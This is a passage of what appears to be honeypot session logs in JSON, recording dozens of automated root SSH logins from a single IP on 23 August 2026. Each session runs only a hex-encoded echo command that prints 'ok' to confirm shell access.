  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59026,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:50:11.780941+00:00",
  "ended_at": "2026-08-23T08:50:13.714839+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4b52f3f9-0e76-43ec-ad7f-3d3f088597bf",
  "name": "blazing-merry-firefly",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59024,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:50:09.723121+00:00",
  "ended_at": "2026-08-23T08:50:11.046606+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9114f380-f855-4746-a297-f0176de68bbe",
  "name": "gloomy-bitter-salmon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 45974,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:50:06.880879+00:00",
  "ended_at": "2026-08-23T08:50:08.951278+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e6dc79b3-71fd-46e7-be95-63b7cb5278b5",
  "name": "smooth-drifting-addax",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 45972,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:50:04.758222+00:00",
  "ended_at": "2026-08-23T08:50:06.200587+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4765f12d-bcc6-49ae-8041-09aff9bbcd19",
  "name": "windswept-coral-salmon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 45964,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:50:02.642071+00:00",
  "ended_at": "2026-08-23T08:50:04.122717+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "bfc50c61-5b9e-41dc-9e43-466ae0671439",
  "name": "calm-hollow-stonechat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 45960,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:50:00.151065+00:00",
  "ended_at": "2026-08-23T08:50:01.986436+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d4392a35-a05b-466b-862b-319eb1c8eabe",
  "name": "gilded-nimble-godwit",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 36874,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:49:57.749848+00:00",
  "ended_at": "2026-08-23T08:49:59.367825+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "80c889ca-a6e8-49cf-b724-a1b67a311de8",
  "name": "steady-dusty-springbok",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 36858,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:49:55.919676+00:00",
  "ended_at": "2026-08-23T08:49:57.115757+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "350e934c-52f1-4149-918c-f77ac32b343f",
  "name": "wandering-lonesome-kakapo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 36844,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:49:52.923373+00:00",
  "ended_at": "2026-08-23T08:49:55.083441+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8762bc80-de52-4b10-99c5-af605d40588d",
  "name": "nimble-oaken-goldfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 36842,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:49:50.140806+00:00",
  "ended_at": "2026-08-23T08:49:52.179644+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "471ce168-680b-4116-bf31-cb18a07f6775",
  "name": "jovial-lawful-bunting",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 34492,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:49:47.177624+00:00",
  "ended_at": "2026-08-23T08:49:49.347746+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d8a3ec52-7e09-470d-b634-1d6e8bfd9bac",
  "name": "prickly-wooded-snipe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 34482,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:49:45.175259+00:00",
  "ended_at": "2026-08-23T08:49:46.353548+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1420cdcc-54cf-4632-b259-3cd910c0c8ba",
  "name": "hazel-fleeting-tapir",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 34472,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:49:43.508859+00:00",
  "ended_at": "2026-08-23T08:49:44.512950+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e0d992a7-95df-4c3d-a71e-e6c9e8e3869c",
  "name": "coral-wistful-tern",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 34460,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:49:41.817113+00:00",
  "ended_at": "2026-08-23T08:49:42.779956+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0c6897b4-ab83-467d-a2a6-dce0b0075e97",
  "name": "frank-electric-avocet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 34454,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:49:39.056054+00:00",
  "ended_at": "2026-08-23T08:49:41.069576+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b0232f4d-39f1-457a-bfc5-40d287efce8b",
  "name": "tidal-early-thrush",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51540,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:49:36.740738+00:00",
  "ended_at": "2026-08-23T08:49:38.377681+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e0b47220-987d-4799-8c24-0a7e9c9fccfa",
  "name": "ruddy-supple-bowerbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51532,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:49:34.521351+00:00",
  "ended_at": "2026-08-23T08:49:35.965159+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "cb616c8a-cdee-44c9-b78f-3d581ff55e63",
  "name": "hardy-golden-chickadee",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51516,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:49:32.442197+00:00",
  "ended_at": "2026-08-23T08:49:33.809048+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "60ca7f9b-94d7-4b75-b664-d416af17e5c8",
  "name": "restless-creaky-panther",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51500,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:49:30.088227+00:00",
  "ended_at": "2026-08-23T08:49:31.795887+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1adc4e0b-fbf0-42f0-ade4-b9e4e53a7b1e",
  "name": "cheerful-mellow-pipit",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38840,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:49:28.408310+00:00",
  "ended_at": "2026-08-23T08:49:29.399130+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f5a7de13-4999-43f5-9822-4792a84f0871",
  "name": "plucky-weathered-quail",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38836,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:49:25.813107+00:00",
  "ended_at": "2026-08-23T08:49:27.627698+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9fb7b6a0-fb77-4bd0-a2bc-c3a9a71ef9da",
  "name": "stormy-hazel-stork",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38822,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:49:23.380934+00:00",
  "ended_at": "2026-08-23T08:49:25.021812+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "09825569-70b6-4313-8e79-d54a3b4cdafc",
  "name": "marbled-chilly-lapwing",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38806,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:49:20.866377+00:00",
  "ended_at": "2026-08-23T08:49:22.631906+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "cfee300a-c510-4dd4-8524-17b91f4ed31c",
  "name": "ancient-feathered-zebu",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38792,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:49:18.842640+00:00",
  "ended_at": "2026-08-23T08:49:20.166934+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0f744834-df5a-4921-acae-dee96f0ec212",
  "name": "dappled-early-roebuck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 46808,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:49:13.097170+00:00",
  "ended_at": "2026-08-23T08:49:18.081730+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ee105716-2c61-465d-847d-57a899607bf8",
  "name": "jaunty-restless-dormouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 46804,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:49:10.555891+00:00",
  "ended_at": "2026-08-23T08:49:12.466510+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "89c549a6-befe-432a-b577-58a1c50693c5",
  "name": "calm-marine-oxpecker",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 46332,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:49:08.191734+00:00",
  "ended_at": "2026-08-23T08:49:09.793460+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "de155011-b083-45ba-b8d5-b992ef9ab503",
  "name": "tranquil-jolly-francolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 46328,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:49:02.298566+00:00",
  "ended_at": "2026-08-23T08:49:07.510604+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "44d71a63-f21b-4a51-b4ed-35d1e9027e96",
  "name": "brave-fleeting-bittern",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 46326,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:48:59.924912+00:00",
  "ended_at": "2026-08-23T08:49:01.651491+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "456e87a5-3ca9-4f5d-b0c0-a0c89231fd60",
  "name": "alpine-fickle-onager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60994,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:48:57.942861+00:00",
  "ended_at": "2026-08-23T08:48:59.159329+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "586aed83-d0ae-485f-96ef-4a20e9491880",
  "name": "restless-blunt-panther",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60984,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:48:56.419110+00:00",
  "ended_at": "2026-08-23T08:48:57.317382+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f9d8b895-b0c7-42a5-b2e3-40186e7aa34f",
  "name": "distant-hazy-ferret",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60982,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:48:54.049819+00:00",
  "ended_at": "2026-08-23T08:48:55.788085+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8d66d473-93f0-48ed-a3f8-310440204e9d",
  "name": "rugged-western-kea",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60978,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:48:51.127722+00:00",
  "ended_at": "2026-08-23T08:48:53.308310+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "89383131-d12a-4424-afde-e15fad6a993b",
  "name": "crisp-bronzed-camel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51664,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:48:48.735226+00:00",
  "ended_at": "2026-08-23T08:48:50.392641+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6de506c6-ba84-4073-8f59-f6268c2b0e4a",
  "name": "calm-distant-owl",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51656,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:48:47.105410+00:00",
  "ended_at": "2026-08-23T08:48:48.031835+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0e8ce8ad-4394-4989-880b-c888cf07703e",
  "name": "northern-opal-wombat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51648,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:48:44.608012+00:00",
  "ended_at": "2026-08-23T08:48:46.457737+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9cd2c55a-f5ab-47c1-81bc-f34742bcf365",
  "name": "keen-ruddy-barbet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51632,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:48:42.349940+00:00",
  "ended_at": "2026-08-23T08:48:43.889100+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ddf65d6a-677f-4474-9eb9-ee024d406b7b",
  "name": "fringed-whispering-jackal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51618,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:48:39.468213+00:00",
  "ended_at": "2026-08-23T08:48:41.715950+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "3f20088c-6fa4-41a5-9b39-01e232e2fbcb",
  "name": "sunlit-crystal-oxpecker",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51944,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:48:37.533932+00:00",
  "ended_at": "2026-08-23T08:48:38.754636+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6a6cfd21-3d94-4c20-967d-e8f50abcb6cd",
  "name": "gentle-ivory-mallard",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51928,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:48:34.595670+00:00",
  "ended_at": "2026-08-23T08:48:36.877363+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "fe2b83f5-c435-4506-b702-1eed9311f9e4",
  "name": "shifting-diligent-flamingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51912,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:48:32.430782+00:00",
  "ended_at": "2026-08-23T08:48:33.916275+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9595aec2-3935-48be-9472-ca665ab08b79",
  "name": "brisk-honest-tamarin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51900,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:48:29.499803+00:00",
  "ended_at": "2026-08-23T08:48:31.686731+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "351698cf-5d01-400b-9716-22dc7229a19a",
  "name": "reedy-gritty-opossum",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60794,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:48:26.669966+00:00",
  "ended_at": "2026-08-23T08:48:28.719709+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "54a7a378-a581-4c63-be23-861bc2ae7251",
  "name": "orderly-fearless-jerboa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60786,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:48:24.060105+00:00",
  "ended_at": "2026-08-23T08:48:25.958242+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "bd6b6bc5-c842-4a02-9e75-5fe80b79a9a5",
  "name": "jolly-lively-curlew",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60774,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:48:21.571987+00:00",
  "ended_at": "2026-08-23T08:48:23.260450+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4a1f7f1f-0e43-4e60-bcd4-f477c4228e72",
  "name": "flinty-whispering-polecat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60768,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:48:19.402475+00:00",
  "ended_at": "2026-08-23T08:48:20.808963+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "530887c3-f073-46e0-89fd-94518db7284c",
  "name": "russet-restless-hamster",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58966,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:48:17.187857+00:00",
  "ended_at": "2026-08-23T08:48:18.786872+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e89c9431-5f85-48a9-96f5-5f49ea80d243",
  "name": "electric-opal-crane",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58952,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:48:14.558309+00:00",
  "ended_at": "2026-08-23T08:48:16.410899+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e70839b8-e32a-4cd6-a461-ae7f0984de4d",
  "name": "spirited-muted-woodcock",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58946,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:48:12.024897+00:00",
  "ended_at": "2026-08-23T08:48:13.922837+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "11f1736d-9abc-4df4-8210-6898794997ea",
  "name": "valiant-hazel-kudu",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58940,
  "username": "root",
  "client_version": "SSH-2.0-Go",
